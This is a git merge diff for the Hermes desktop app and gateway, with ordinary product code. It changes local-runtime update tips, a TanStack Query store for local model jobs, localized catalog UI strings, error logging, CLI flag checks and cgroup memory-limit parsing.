import { getLocalModelsJobs, getLocalModelsStatus } from '@/hermes'++import { queryClient } from '@/lib/query-client'+ import type { Translations } from '@/i18n/types'+ import { localSetupDue } from '@/lib/tips/local-cta'+ import { $activeGatewayRoute } from '@/store/gateway'+ import { $localModelsEnabled } from '@/store/local-models-flag'+ import {- $localRuntimeInstallStarting,- $localRuntimeJobs,+ localRuntimeInstallBusy,+ startLocalRuntimeInstall+ } from '@/store/local-runtime-jobs'+ import { $connection } from '@/store/session'+ import { $activeTip, $retiredTips, $tipsEnabled, $tipShownAt, dismissTip, showTip } from '@/store/tips'+ import type { LocalModelsStatus, LocalRuntimeJob } from '@/types/hermes'++ let snapshot: { readAt: number; status: LocalModelsStatus | null; jobs: LocalRuntimeJob[] } | null = null+ let pending = false+ let generation = 0++ const closeUpdateTip = () => {+ if ($activeTip.get()?.tipId?.startsWith('local-runtime-update:')) {+ dismissTip()+ }+ }++ const reset = () => {+ generation+++ snapshot = null+ pending = false+ closeUpdateTip()+ }++ $connection.listen(reset)+ $activeGatewayRoute.listen(reset)+ $tipsEnabled.listen(enabled => {+ if (!enabled) {+ reset()+ }+ })-$localRuntimeJobs.listen(() => {++const closeWhenBusy = (): void => {+ if (localRuntimeInstallBusy()) {+ reset()+ }-})-$localRuntimeInstallStarting.listen(starting => {- if (starting) {- reset()- }-})++}++queryClient.getQueryCache().subscribe(closeWhenBusy)++queryClient.getMutationCache().subscribe(closeWhenBusy)++ export function offerLocalRuntimeUpdateTip(copy: Translations['tips'], openLocalModels: () => void): boolean {+ if (+ !$localModelsEnabled.get() ||+ !$tipsEnabled.get() ||+ $connection.get()?.mode !== 'local' ||+ localRuntimeInstallBusy()+ ) {+ return false+ }++ const maxAge = snapshot?.status ? 60_000 : 5_000++ if (snapshot && Date.now() - snapshot.readAt > maxAge) {+ snapshot = null+ }++ if (!snapshot) {+ if (!pending) {+ pending = true+ const request = generation+ void Promise.all([getLocalModelsStatus(), getLocalModelsJobs()])+ .then(([status, { jobs }]) => {+ if (request === generation) {+ snapshot = { status, jobs, readAt: Date.now() }+ }+ })+ .catch(() => {+ if (request === generation) {+ snapshot = { status: null, jobs: [], readAt: Date.now() }+ }+ })+ .finally(() => {+ if (request === generation) {+ pending = false+ }+ })+ }++ return true+ }++ // Reuse a fresh answer while the UI checks for a quiet moment each second.+ const { status, jobs } = snapshot++ if (jobs.some(job => job.status === 'running' && (job.kind === 'runtime-install' || job.kind === 'quickstart'))) {+ return false+ }++ if (!status || !status.enabled || !status.runtime_installed || !status.update_available) {+ return false+ }++ const tipId = `local-runtime-update:${status.configured_tag}`++ if ($retiredTips.get().includes(tipId) || !localSetupDue(Date.now(), $tipShownAt.get()[tipId])) {+ return false+ }++ const text = copy.items['local-runtime-update']+ const offeredIn = generation+ showTip({+ tipId,+ title: text.title,+ text: text.text,+ targets: ['[data-tour="model-pill"]'],+ side: 'top',+ action: {+ label: text.action,+ onSelect: () => {+ if (+ offeredIn !== generation ||+ !$tipsEnabled.get() ||+ !$localModelsEnabled.get() ||+ $connection.get()?.mode !== 'local' ||+ localRuntimeInstallBusy() ||+ $activeTip.get()?.tipId !== tipId+ ) {+ closeUpdateTip()++ return+ }++ dismissTip()+ openLocalModels()+ void startLocalRuntimeInstall()+ }+ }+ })++ return true+ }diff --cc apps/desktop/src/global.d.tsindex 8f22966a5f5,34f15f1ebf9..9fa64fd431a--- a/apps/desktop/src/global.d.ts+++ b/apps/desktop/src/global.d.ts@@@ -1,10 -1,9 +1,11 @@@import type { GatewayWsUrlResult } from '@hermes/shared'import type { TranslucencyState } from '@hermes/shared/translucency'+import type { MachineProfile } from '../electron/machine-profile'+ import type { ScreenshotApi } from '../electron/command-screenshot-types'import type { HermesNotification } from '../electron/notification-types'import type { PoolLimits } from '../electron/pool-limits'+import type { GrowRequest } from '../electron/window-growth'import type { WakeIndicatorState } from './lib/wake-indicator'import type {diff --cc apps/desktop/src/i18n/ar.tsindex e7117398599,36ca2afbaf0..a8543a2a5b5--- a/apps/desktop/src/i18n/ar.ts+++ b/apps/desktop/src/i18n/ar.ts@@@ -1,13 -1,45 +1,53 @@@import { defineLocale } from './define-locale'export const ar = defineLocale({+ externalOpenFailed: {+ title: 'تعذّر فتح هذا الرابط',+ message: 'لا يوجد متصفح مسجل لفتح هذا العنوان. انسخ الرابط وافتحه يدويًا.',+ copyUrl: 'نسخ الرابط',+ close: 'إغلاق'+ },++ catalog: {+ listView: 'عرض القائمة',+ cardView: 'عرض البطاقات',+ installTitle: (name: string) => `تثبيت «${name}»؟`,+ installDescription: 'ستتوفر هذه المهارة في الجلسات الجديدة. ثبّت من المصادر التي تثق بها فقط.',+ installTo: 'التثبيت في',+ thisComputer: 'هذا الكمبيوتر',+ installing: 'جارٍ التثبيت…',+ installComplete: (name: string) => `تم تثبيت «${name}»`,+ destinationChanged: 'تغيرت وجهة التثبيت. أغلق هذا الحوار وافتح رابط التثبيت مجددًا.',+ browse: 'تصفح',+ installed: 'المثبتة',+ searchSkills: 'البحث في المهارات',+ searchPlugins: 'البحث في الإضافات',+ allSources: 'كل المصادر',+ allCategories: 'كل الفئات',+ about: 'نبذة',+ author: 'المؤلف',+ source: 'المصدر',+ category: 'الفئة',+ version: 'الإصدار',+ platforms: 'المنصات',+ requires: 'المتطلبات',+ tools: 'الأدوات',+ hooks: 'الخطافات',+ repository: 'المستودع',+ documentation: 'التوثيق',+ noResults: 'لا توجد نتائج مطابقة',+ tryAnother: 'جرّب بحثًا آخر أو امسح عوامل التصفية.',+ clearFilters: 'مسح عوامل التصفية',+ loadFailed: 'تعذر تحميل الكتالوج',+ retry: 'حاول مرة أخرى',+ more: 'عرض المزيد',+ pinned: 'التزام تمت مراجعته',+ snapshotHint: 'من كتالوج Hermes. لا يتصل التصفح بمستودعات المصدر مطلقًا.',+ installHint: 'راجع المصدر قبل التثبيت. تسري التغييرات على الجلسات الجديدة.',+ results: (count: number) => `النتائج: ${count.toLocaleString('ar')}`,+ back: 'العودة إلى النتائج'+ },++sessionImport: {title: 'المتابعة من تطبيق آخر',subtitle: 'انقل محادثة إلى Hermes وتابع من حيث توقفت.',diff --cc apps/desktop/src/i18n/en.tsindex c87fd8000d4,cc8e2964178..eb3e252afcb--- a/apps/desktop/src/i18n/en.ts+++ b/apps/desktop/src/i18n/en.ts@@@ -3,12 -3,45 +3,51 @@@ import { FIELD_DESCRIPTIONS, FIELD_LABEimport type { Translations } from './types'export const en: Translations = {+ externalOpenFailed: {+ title: 'Couldn’t open this link',+ message: 'No browser is registered to open this address. Copy the link and open it manually.',+ copyUrl: 'Copy link',+ close: 'Close'+ },+ catalog: {+ listView: 'List view',+ cardView: 'Card view',+ installTitle: (name: string) => `Install “${name}”?`,+ installDescription: 'This skill will be available in new sessions. Only install sources you trust.',+ installTo: 'Install to',+ thisComputer: 'This computer',+ installing: 'Installing…',+ installComplete: (name: string) => `“${name}” installed`,+ destinationChanged: 'The destination changed. Close this dialog and open the install link again.',+ browse: 'Browse',+ installed: 'Installed',+ searchSkills: 'Search skills',+ searchPlugins: 'Search plugins',+ allSources: 'All sources',+ allCategories: 'All categories',+ about: 'About',+ author: 'Author',+ source: 'Source',+ category: 'Category',+ version: 'Version',+ platforms: 'Platforms',+ requires: 'Requires',+ tools: 'Tools',+ hooks: 'Hooks',+ repository: 'Repository',+ documentation: 'Documentation',+ noResults: 'No matches',+ tryAnother: 'Try another search or clear your filters.',+ clearFilters: 'Clear filters',+ loadFailed: 'Could not load the catalog',+ retry: 'Try again',+ more: 'Show more',+ pinned: 'Reviewed commit',+ snapshotHint: 'From the Hermes catalog. Browsing never contacts source repositories.',+ installHint: 'Review the source before installing. Changes apply to new sessions.',+ results: (count: number) => `${count.toLocaleString()} result${count === 1 ? '' : 's'}`,+ back: 'Back to results'+ },connectors: {title: 'Connect your apps',connect: 'Connect',diff --cc apps/desktop/src/i18n/ja.tsindex e8695ab1169,91efc4db084..f3d5ac257b6--- a/apps/desktop/src/i18n/ja.ts+++ b/apps/desktop/src/i18n/ja.ts@@@ -3,12 -3,45 +3,51 @@@ import { defineFieldCopy } from '@/app/import { defineLocale } from './define-locale'export const ja = defineLocale({+ externalOpenFailed: {+ title: 'このリンクを開けませんでした',+ message: 'このアドレスを開くブラウザが登録されていません。リンクをコピーして手動で開いてください。',+ copyUrl: 'リンクをコピー',+ close: '閉じる'+ },+ catalog: {+ listView: 'リスト表示',+ cardView: 'カード表示',+ installTitle: (name: string) => `「${name}」をインストールしますか?`,+ installDescription: 'このスキルは新しいセッションで利用できます。信頼できる提供元からのみインストールしてください。',+ installTo: 'インストール先',+ thisComputer: 'このコンピューター',+ installing: 'インストール中…',+ installComplete: (name: string) => `「${name}」をインストールしました`,+ destinationChanged: 'インストール先が変更されました。このダイアログを閉じ、インストールリンクを開き直してください。',+ browse: '閲覧',+ installed: 'インストール済み',+ searchSkills: 'スキルを検索',+ searchPlugins: 'プラグインを検索',+ allSources: 'すべての提供元',+ allCategories: 'すべてのカテゴリ',+ about: '概要',+ author: '作者',+ source: '提供元',+ category: 'カテゴリ',+ version: 'バージョン',+ platforms: '対応プラットフォーム',+ requires: '必要なもの',+ tools: 'ツール',+ hooks: 'フック',+ repository: 'リポジトリ',+ documentation: 'ドキュメント',+ noResults: '一致する項目がありません',+ tryAnother: '別の検索を試すか、フィルターをクリアしてください。',+ clearFilters: 'フィルターをクリア',+ loadFailed: 'カタログを読み込めませんでした',+ retry: '再試行',+ more: 'さらに表示',+ pinned: 'レビュー済みコミット',+ snapshotHint: 'Hermesカタログの情報です。閲覧時に提供元のリポジトリへ接続することはありません。',+ installHint: 'インストール前にソースを確認してください。変更は新しいセッションに適用されます。',+ results: (count: number) => `${count.toLocaleString('ja')}件の結果`,+ back: '結果に戻る'+ },sessionImport: {title: '別のアプリから続ける',subtitle: '会話をHermesに取り込み、続きを始めましょう。',diff --cc apps/desktop/src/i18n/types.tsindex be6db195889,33f70765042..ab6ee5ebb56--- a/apps/desktop/src/i18n/types.ts+++ b/apps/desktop/src/i18n/types.ts@@@ -51,12 -59,45 +59,51 @@@ interface AuxTaskCopy}export interface Translations {+ externalOpenFailed: {+ title: string+ message: string+ copyUrl: string+ close: string+ };+ catalog: {+ listView: string+ cardView: string+ installTitle: (name: string) => string+ installDescription: string+ installTo: string+ thisComputer: string+ installing: string+ installComplete: (name: string) => string+ destinationChanged: string+ browse: string+ installed: string+ searchSkills: string+ searchPlugins: string+ allSources: string+ allCategories: string+ about: string+ author: string+ source: string+ category: string+ version: string+ platforms: string+ requires: string+ tools: string+ hooks: string+ repository: string+ documentation: string+ noResults: string+ tryAnother: string+ clearFilters: string+ loadFailed: string+ retry: string+ more: string+ pinned: string+ snapshotHint: string+ installHint: string+ results: (count: number) => string+ back: string- }++ };connectors: {title: stringconnect: stringdiff --cc apps/desktop/src/i18n/zh-hant.tsindex 15eb5bcd080,4ba4a0551cf..38e4d60b764--- a/apps/desktop/src/i18n/zh-hant.ts+++ b/apps/desktop/src/i18n/zh-hant.ts@@@ -3,12 -3,45 +3,51 @@@ import { defineFieldCopy } from '@/app/import { defineLocale } from './define-locale'export const zhHant = defineLocale({+ externalOpenFailed: {+ title: '無法開啟此連結',+ message: '沒有註冊用於開啟此位址的瀏覽器。請複製連結並手動開啟。',+ copyUrl: '複製連結',+ close: '關閉'+ },+ catalog: {+ listView: '清單檢視',+ cardView: '卡片檢視',+ installTitle: (name: string) => `安裝「${name}」?`,+ installDescription: '此技能將於新的工作階段中可用。請僅安裝可信來源的內容。',+ installTo: '安裝至',+ thisComputer: '這部電腦',+ installing: '正在安裝…',+ installComplete: (name: string) => `已安裝「${name}」`,+ destinationChanged: '安裝目標已變更。請關閉此對話框並重新開啟安裝連結。',+ browse: '瀏覽',+ installed: '已安裝',+ searchSkills: '搜尋技能',+ searchPlugins: '搜尋外掛',+ allSources: '所有來源',+ allCategories: '所有分類',+ about: '簡介',+ author: '作者',+ source: '來源',+ category: '分類',+ version: '版本',+ platforms: '支援的平台',+ requires: '相依項目',+ tools: '工具',+ hooks: '掛鉤',+ repository: '程式碼儲存庫',+ documentation: '文件',+ noResults: '沒有符合的項目',+ tryAnother: '請嘗試其他搜尋或清除篩選條件。',+ clearFilters: '清除篩選條件',+ loadFailed: '無法載入目錄',+ retry: '再試一次',+ more: '顯示更多',+ pinned: '已審核的提交',+ snapshotHint: '內容來自 Hermes 目錄。瀏覽時不會連線至來源程式碼儲存庫。',+ installHint: '安裝前請檢查原始碼。變更將於新的工作階段生效。',+ results: (count: number) => `${count.toLocaleString('zh-Hant')} 個結果`,+ back: '返回結果'+ },sessionImport: {title: '從其他應用程式繼續',subtitle: '將對話匯入 Hermes,接著上次的進度繼續。',diff --cc apps/desktop/src/i18n/zh.tsindex 7b503cfc011,f760066a643..1a5034cf0dd--- a/apps/desktop/src/i18n/zh.ts+++ b/apps/desktop/src/i18n/zh.ts@@@ -3,12 -3,45 +3,51 @@@ import { defineFieldCopy } from '@/app/import { defineLocale } from './define-locale'export const zh = defineLocale({+ externalOpenFailed: {+ title: '无法打开此链接',+ message: '没有注册用于打开此地址的浏览器。请复制链接并手动打开。',+ copyUrl: '复制链接',+ close: '关闭'+ },+ catalog: {+ listView: '列表视图',+ cardView: '卡片视图',+ installTitle: (name: string) => `安装“${name}”?`,+ installDescription: '此技能将在新会话中可用。请仅安装可信来源的内容。',+ installTo: '安装到',+ thisComputer: '此电脑',+ installing: '正在安装…',+ installComplete: (name: string) => `已安装“${name}”`,+ destinationChanged: '安装目标已更改。请关闭此对话框并重新打开安装链接。',+ browse: '浏览',+ installed: '已安装',+ searchSkills: '搜索技能',+ searchPlugins: '搜索插件',+ allSources: '所有来源',+ allCategories: '所有分类',+ about: '简介',+ author: '作者',+ source: '来源',+ category: '分类',+ version: '版本',+ platforms: '支持的平台',+ requires: '依赖项',+ tools: '工具',+ hooks: '钩子',+ repository: '代码仓库',+ documentation: '文档',+ noResults: '没有匹配项',+ tryAnother: '请尝试其他搜索或清除筛选条件。',+ clearFilters: '清除筛选条件',+ loadFailed: '无法加载目录',+ retry: '重试',+ more: '显示更多',+ pinned: '已审核的提交',+ snapshotHint: '内容来自 Hermes 目录。浏览时不会连接来源代码仓库。',+ installHint: '安装前请检查源代码。更改将在新会话中生效。',+ results: (count: number) => `${count.toLocaleString('zh')} 个结果`,+ back: '返回结果'+ },connectors: {title: '连接你的应用',connect: '连接',diff --cc apps/desktop/src/store/local-runtime-jobs.tsindex 93016a6dff6,dc2ab720bc3..cacebf8eebd--- a/apps/desktop/src/store/local-runtime-jobs.ts+++ b/apps/desktop/src/store/local-runtime-jobs.ts@@@ -1,108 -1,53 +1,109 @@@-import { atom } from 'nanostores'--import { getApiRequestConnection } from '@/api/client'-import { getLocalModelsJobs, installLocalRuntime } from '@/hermes'+import type { QueryClient } from '@tanstack/react-query'+import {+ type Query,+ type QueryCacheNotifyEvent,+ type QueryKey,+ QueryObserver,+ type QueryObserverResult,+ queryOptions,++ MutationObserver,+ useQuery,+ useQueryClient,+ type UseQueryOptions,+ type UseQueryResult+} from '@tanstack/react-query'+import { useEffect, useMemo } from 'react'++import { $apiRequestScope, getApiRequestConnection, getApiRequestProfile } from '@/api/client'+import type { LocalModelsScope } from '@/api/local-models'- import { getLocalCatalog, getLocalHardware, getLocalModelsJobs, getLocalModelsStatus } from '@/hermes'++import { getLocalCatalog, getLocalHardware, getLocalModelsJobs, getLocalModelsStatus, installLocalRuntime } from '@/hermes'import { translateNow } from '@/i18n'-import { $activeGatewayRoute } from '@/store/gateway'-import { $localModelsEnabled } from '@/store/local-models-flag'+import { queryClient } from '@/lib/query-client'+import { useStoresSelector } from '@/lib/use-session-slice'import { notify, notifyError } from '@/store/notifications'import { $connection } from '@/store/session'-import type { LocalRuntimeJob } from '@/types/hermes'--// App-level tracker for local-runtime jobs (runtime installs, model-// downloads). The AUTHORITY is the backend job registry — this store is a-// cache of it (desktop guide: server truth is cached, not owned). Living at-// the store layer, not in the settings pane, is what makes a download-// survive the pane unmounting: anything can start a job, the poller follows-// it to completion, and completion/failure notify app-wide exactly once.--export const $localRuntimeJobs = atom<readonly LocalRuntimeJob[]>([])--export const $localRuntimeInstallStarting = atom(false)--// Shared by the settings button and the campaign CTA. This is request state,-// not invented job progress; the backend registry still owns the actual work.-export function localRuntimeInstallBusy(): boolean {- return (- $localRuntimeInstallStarting.get() ||- $localRuntimeJobs- .get()- .some(job => job.status === 'running' && (job.kind === 'runtime-install' || job.kind === 'quickstart'))+import type { LocalCatalogModel, LocalHardware, LocalModelsStatus, LocalRuntimeJob } from '@/types/hermes'++export interface LocalModelsOwner extends LocalModelsScope {+ // Legacy primary routes have no registry pin. Fence them by endpoint instead.+ legacyBaseUrl?: string+}++export function localModelsOwner(profile?: string, connectionId?: string): LocalModelsOwner {+ const pin: string | null = connectionId ?? getApiRequestConnection()++ return {+ connectionId: pin,+ profile: profile ?? getApiRequestProfile() ?? 'default',+ ...(pin ? {} : { legacyBaseUrl: $connection.get()?.baseUrl ?? '' })+ }+}++export function useLocalModelsOwner(profile?: string, connectionId?: string): LocalModelsOwner {+ const identity: string = useStoresSelector([$apiRequestScope, $connection], (): string =>+ JSON.stringify(localModelsOwner(profile, connectionId)))++ return useMemo((): LocalModelsOwner => JSON.parse(identity) as LocalModelsOwner, [identity])}-export async function startLocalRuntimeInstall(): Promise<void> {- if (localRuntimeInstallBusy()) {- return+export function localModelsKey(owner: LocalModelsOwner, resource?: string): QueryKey {+ return [+ 'local-models',+ owner.connectionId ?? `legacy:${owner.legacyBaseUrl ?? ''}`,+ owner.profile,+ ...(resource ? [resource] : [])+ ]+}++export function localModelsRequestScope(owner: LocalModelsOwner): LocalModelsScope {+ if (!owner.connectionId && owner.legacyBaseUrl !== ($connection.get()?.baseUrl ?? '')) {+ throw new Error('Local models connection changed')}- const owner = activeContext- owner.postPending = true- $localRuntimeInstallStarting.set(true)+ return { connectionId: owner.connectionId, profile: owner.profile }+}- try {- const { job_id } = await installLocalRuntime()- owner.acceptedIds.add(job_id)- owner.postPending = false- owner.readPending = true- owner.acceptedInstall+++export function isCurrentLocalModelsOwner(owner: LocalModelsOwner): boolean {+ return JSON.stringify(localModelsKey(owner)) === JSON.stringify(localModelsKey(localModelsOwner()))+}++export function localModelsNotificationTitle(owner: LocalModelsOwner): string {+ localModelsRequestScope(owner)+ const title: string = translateNow('settings.localModels.title')- if (owner !== activeContext) {+ return isCurrentLocalModelsOwner(owner)+ ? title+ : `${title} · ${owner.connectionId ?? owner.legacyBaseUrl} / ${owner.profile}`+}++export function localModelsStatusOptions(owner: LocalModelsOwner): UseQueryOptions<LocalModelsStatus> {+ return queryOptions({+ queryKey: localModelsKey(owner, 'status'),+ queryFn: async (): Promise<LocalModelsStatus> => {+ const status: LocalModelsStatus = await getLocalModelsStatus(localModelsRequestScope(owner))+ localModelsRequestScope(owner)++ return status+ },+ retry: false+ })+}++interface StatusWatch {+ observer: QueryObserver<LocalModelsStatus>+ users: number+}+const statusWatches: WeakMap<QueryClient, Map<string, StatusWatch>> = new WeakMap()++export function useLocalModelsStatus(+ owner: LocalModelsOwner,+ enabled: boolean = true+): UseQueryResult<LocalModelsStatus> {+ const client: QueryClient = useQueryClient()+ const result: UseQueryResult<LocalModelsStatus> = useQuery({ ...localModelsStatusOptions(owner), enabled: false })+ useEffect((): (() => void) | undefined => {+ if (!enabled) {return}@@@ -362,61 -219,89 +363,101 @@@ function notifySettled(owner: LocalMode}}-function poll(): Promise<void> {- if (polling) {- return polling- }-- const context = generation- const owner = activeContext- const accepted = owner.acceptedInstall-- if (timer !== null) {- clearTimeout(timer)- }-- timer = null- polling = (async () => {- try {- const { jobs } = await getLocalModelsJobs()+// Selector: the in-flight (running or paused) download job for a catalog+// model id, if any. Paused stays visible — the row parks, it doesn't+// vanish (progress loss is information loss).+export function runningDownloadFor(jobs: readonly LocalRuntimeJob[], modelId: string): LocalRuntimeJob | null {+ return jobs.find(j => j.kind === 'model-download' && isActive(j.status) && j.model_id === modelId) ?? null+}- if (context !== generation || accepted !== owner.acceptedInstall) {- return- }+// Selector: every model on its way to the library right now — plain+// downloads plus quickstart runs while they are still fetching bytes+// (later quickstart phases mean the model is staged and activating),+// paused ones included. The model picker renders these as disabled+// progress rows.+const DOWNLOAD_PHASES = new Set([+ 'starting',+ 'installing-runtime',+ 'downloading-runtime',+ 'unpacking-runtime',+ 'verifying-runtime',+ 'downloading'+])- const previous = $localRuntimeJobs.get()+export function runningModelDownloads(jobs: readonly LocalRuntimeJob[]): LocalRuntimeJob[] {+ return jobs.filter(+ j =>+ isActive(j.status) && (j.kind === 'model-download' || (j.kind === 'quickstart' && DOWNLOAD_PHASES.has(j.phase)))+ )+}- // Acceptance can arrive after a pane already read the terminal job.- notifySettled(previous, jobs)+export function runningRuntimeInstall(jobs: readonly LocalRuntimeJob[]): LocalRuntimeJob | null {+ return jobs.find(j => j.kind === 'runtime-install' && isActive(j.status)) ?? null+}- if (!jobsEqual(previous, jobs)) {- $localRuntimeJobs.set(jobs)- }++interface RuntimeInstallResult {++ backend: string++ job_id: string++ tag: string++}+- owner.jobs = jobs++export function localRuntimeInstallStarting(owner: LocalModelsOwner = localModelsOwner(), client: QueryClient = queryClient): boolean {++ return client.isMutating({ mutationKey: localModelsKey(owner, 'install') }) > 0++}+- if (owner.readPending) {- owner.readPending = false- $localRuntimeInstallStarting.set(owner.postPending)- }- } catch {- // Backend unreachable — keep the last snapshot; the next poll retries.- } finally {- if (context === generation) {- polling = null-- if (owner.readPending || $localRuntimeJobs.get().some(j => j.status === 'running')) {- timer = setTimeout(() => void poll(), POLL_ACTIVE_MS)- }- }- }- })()++export function localRuntimeInstallBusy(owner: LocalModelsOwner = localModelsOwner(), client: QueryClient = queryClient): boolean {++ const jobs: readonly LocalRuntimeJob[] = client.getQueryData(localModelsKey(owner, 'jobs')) ?? EMPTY_JOBS+- return polling++ return localRuntimeInstallStarting(owner, client) || jobs.some((job: LocalRuntimeJob): boolean =>++ isActive(job.status) && (job.kind === 'runtime-install' || job.kind === 'quickstart'))+ }+-// Idempotent kick: start (or keep) the poll loop while work is in flight.-// Call after starting a job AND on app boot (to rediscover work started-// before a reload).-export function watchLocalRuntimeJobs() {- if (polling || timer !== null) {++export async function startLocalRuntimeInstall(++ owner: LocalModelsOwner = localModelsOwner(), client: QueryClient = queryClient++): Promise<void> {++ if (localRuntimeInstallBusy(owner, client)) {+ return+ }+- void poll()-}++ const observer: MutationObserver<RuntimeInstallResult, Error, void> = new MutationObserver(client, {++ mutationKey: localModelsKey(owner, 'install'),++ mutationFn: (): Promise<RuntimeInstallResult> => installLocalRuntime(undefined, localModelsRequestScope(owner))++ })+-// Selector: the running download job for a catalog model id, if any.-export function runningDownloadFor(jobs: readonly LocalRuntimeJob[], modelId: string): LocalRuntimeJob | null {- return jobs.find(j => j.kind === 'model-download' && j.status === 'running' && j.model_id === modelId) ?? null++ try {++ await observer.mutate()++ watchLocalRuntimeJobs(owner, client)++ await client.fetchQuery({ ...localModelsJobsOptions(owner), staleTime: 0 })++ } catch (error) {++ if (isCurrentLocalModelsOwner(owner)) {++ notifyError(error, translateNow('settings.localModels.installFailed'))++ }++ }+ }+-// Selector: every model on its way to the library right now — plain-// downloads plus quickstart runs while they are still fetching bytes-// (later quickstart phases mean the model is staged and activating).-// The model picker renders these as disabled progress rows.-const DOWNLOAD_PHASES = new Set(['starting', 'installing-runtime', 'downloading'])+const updateNotified: Set<string> = new Set()-export function runningModelDownloads(jobs: readonly LocalRuntimeJob[]): LocalRuntimeJob[] {- return jobs.filter(- j =>- j.status === 'running' &&- (j.kind === 'model-download' || (j.kind === 'quickstart' && DOWNLOAD_PHASES.has(j.phase)))- )-}+export async function checkLocalRuntimeUpdate(owner: LocalModelsOwner = localModelsOwner()): Promise<void> {+ const identity: string = JSON.stringify(localModelsKey(owner))-export function runningRuntimeInstall(jobs: readonly LocalRuntimeJob[]): LocalRuntimeJob | null {- return jobs.find(j => j.kind === 'runtime-install' && j.status === 'running') ?? null+ if (updateNotified.has(identity)) {+ return+ }++ try {+ const status: LocalModelsStatus = await queryClient.fetchQuery(localModelsStatusOptions(owner))+ localModelsRequestScope(owner)++ if (status.enabled && status.update_available && !updateNotified.has(identity)) {+ updateNotified.add(identity)+ notify({+ durationMs: 10_000,+ kind: 'info',+ title: localModelsNotificationTitle(owner),+ message: translateNow('settings.localModels.updateToast', status.configured_tag)+ })+ }+ } catch {+ // Older backends may not have this endpoint. The next boot can retry.+ }}diff --cc apps/desktop/src/store/notifications.test.tsindex 14e9a693ff1,e065c7daf9d..facbb830223--- a/apps/desktop/src/store/notifications.test.ts+++ b/apps/desktop/src/store/notifications.test.ts@@@ -1,6 -1,9 +1,9 @@@-import { beforeEach, expect, test } from 'vitest'+import { beforeEach, expect, test, vi } from 'vitest'+ import { en } from '@/i18n/en'+import { $notifications, clearNotifications, isDiskFullErrorMessage, notifyError } from './notifications'+ import { $backendRestartRequest, $routeRequest } from './recovery-requests'beforeEach(() => {clearNotifications()diff --cc apps/desktop/src/store/notifications.tsindex 0ec90b8aecc,57d2fda740a..8a4dbbf187b--- a/apps/desktop/src/store/notifications.ts+++ b/apps/desktop/src/store/notifications.ts@@@ -198,22 -247,9 +247,22 @@@ export function notify(input: Notificatreturn id}+// Toast copy can omit the stack or shorten the message. Keep both in desktop.log.+function logErrorToDesktopLog(error: unknown, fallback: string): void {+ try {+ const label: string = new URLSearchParams(window.location.search).get('win') ?? 'main'+ const raw: string = error instanceof Error ? (error.stack ?? error.message) : typeof error === 'string' ? error : fallback++ window.hermesDesktop?.logLine?.(`[renderer error:${label}] ${fallback}: ${raw}`)+ } catch {+ // A missing or closed IPC bridge must not prevent the error toast.+ }+}+- export function notifyError(error: unknown, fallback: string): string {+ export function notifyError(error: unknown, fallback: string, options: { action?: NotificationAction } = {}): string {const readable = readableError(error, fallback)const poolSlotTimeout = isLocalBackendSlotWaitTimeout(error)+ logErrorToDesktopLog(error, fallback)return notify({action: poolSlotTimeoutdiff --cc apps/desktop/tsconfig.electron.jsonindex a9741faebd5,b0b82a27509..3f128e106c2--- a/apps/desktop/tsconfig.electron.json+++ b/apps/desktop/tsconfig.electron.json@@@ -16,6 -16,6 +16,6 @@@"rootDir": "..","outDir": "build/electron-types"},- "include": ["electron", "product-identity.cjs", "product-identity.d.cts", "update-feed.cjs", "update-feed.d.cts", "../shared/src/data-url-read-max.ts", "../shared/src/translucency.ts"],- "include": ["electron", "../shared/src/ansi.ts", "../shared/src/data-url-read-max.ts", "../shared/src/translucency.ts"],++ "include": ["electron", "product-identity.cjs", "product-identity.d.cts", "update-feed.cjs", "update-feed.d.cts", "../shared/src/ansi.ts", "../shared/src/data-url-read-max.ts", "../shared/src/translucency.ts"],"exclude": ["src", "electron/**/*.e2e.mts"]}diff --cc cli.pyindex 616390014b7,eff3d816c63..5d1ea075a71--- a/cli.py+++ b/cli.py@@@ -4571,17 -4641,13 +4641,22 @@@ def main_run_legacy_gateway()return+ if not (list_tools or list_toolsets):+ from hermes_cli.process_identity import register_self+ from hermes_cli.shared_profile_warning import shared_profile_warning++ register_self("cli")+ warning = shared_profile_warning()+ if warning:+ print(f"Warning: {warning}", file=sys.stderr)+_join_worktree = _start_worktree_setup(list_tools, list_toolsets, worktree, w)query = query or q+ # ``hermes chat`` already validated this; the direct Fire entry point gets the same contract.+ if output_format == "stream-json":+ if not query:+ raise ValueError("--format stream-json requires -q/--query")+ quiet = Truecli = _build_cli_from_args(model, toolsets, provider, reasoning, api_key, base_url, max_turns, run_budget,verbose, compact, resume, checkpoints, pass_session_id, ignore_rules, skills)diff --cc gateway/agent_cache_pressure.pyindex d52e1e17785,b0e8d1c2c56..2fcc188bc87--- a/gateway/agent_cache_pressure.py+++ b/gateway/agent_cache_pressure.py@@@ -54,6 -54,16 +54,16 @@@ def _positive(value: Any, cast: Callablreturn parsed if parsed is not None and parsed > 0 else None+ def _finite_limit(path: Path) -> Optional[int]:+ """A cgroup memory limit file's value when it is a real cap; None for unreadable, empty,+ ``max``, or the v1 near-2^63 sentinel (all mean unlimited)."""+ try:- limit = int(path.read_text(encoding="utf-8").strip())++ limit = int(path.read_text(encoding="utf-8-sig").strip())+ except (OSError, ValueError):+ return None+ return limit if 0 < limit < (1 << 62) else None++def _cgroup_limit_bytes() -> Optional[int]:"""Memory limit this process runs under, if cgroup-capped.diff --cc gateway/mirror.pyindex a1bb0c0ce8f,513bf882dae..44a977d0cf0--- a/gateway/mirror.py+++ b/gateway/mirror.py@@@ -86,10 -97,11 +97,11 @@@ def _find_session_id(platform: str, chaexcept Exception as e:logger.debug("Mirror state.db session lookup failed: %s", e)- if not _SESSIONS_INDEX.exists():+ sessions_index = _resolve_sessions_index()+ if not sessions_index.exists():return Nonetry:- data = json.loads(_SESSIONS_INDEX.read_text(encoding="utf-8-sig"))- data = json.loads(sessions_index.read_text(encoding="utf-8"))++ data = json.loads(sessions_index.read_text(encoding="utf-8-sig"))except Exception:return Nonediff --cc gateway/run.pyindex e91aade0b49,0eac13a0e5f..705fb89bb29--- a/gateway/run.py+++ b/gateway/run.py@@@ -5400,9 -5484,12 +5484,12 @@@ def main()config = Noneif args.config:-- import yaml++ import hermes_yaml as yamlwith open(args.config, encoding="utf-8") as f:config = GatewayConfig.from_dict(yaml.safe_load(f) or {})+ # Same boot-time verdict the loaded config gets when the file leaves the flag unset.+ from hermes_cli.gateway_multiplex_mode import log_multiplex_decision, resolve_multiplex_mode+ log_multiplex_decision(resolve_multiplex_mode(config))# start_gateway() completes teardown before returning/raising SystemExit; force-exit after so a# wedged non-daemon worker can't block Py_FinalizeEx's join. SystemExit caught so EVERY path exits.diff --cc 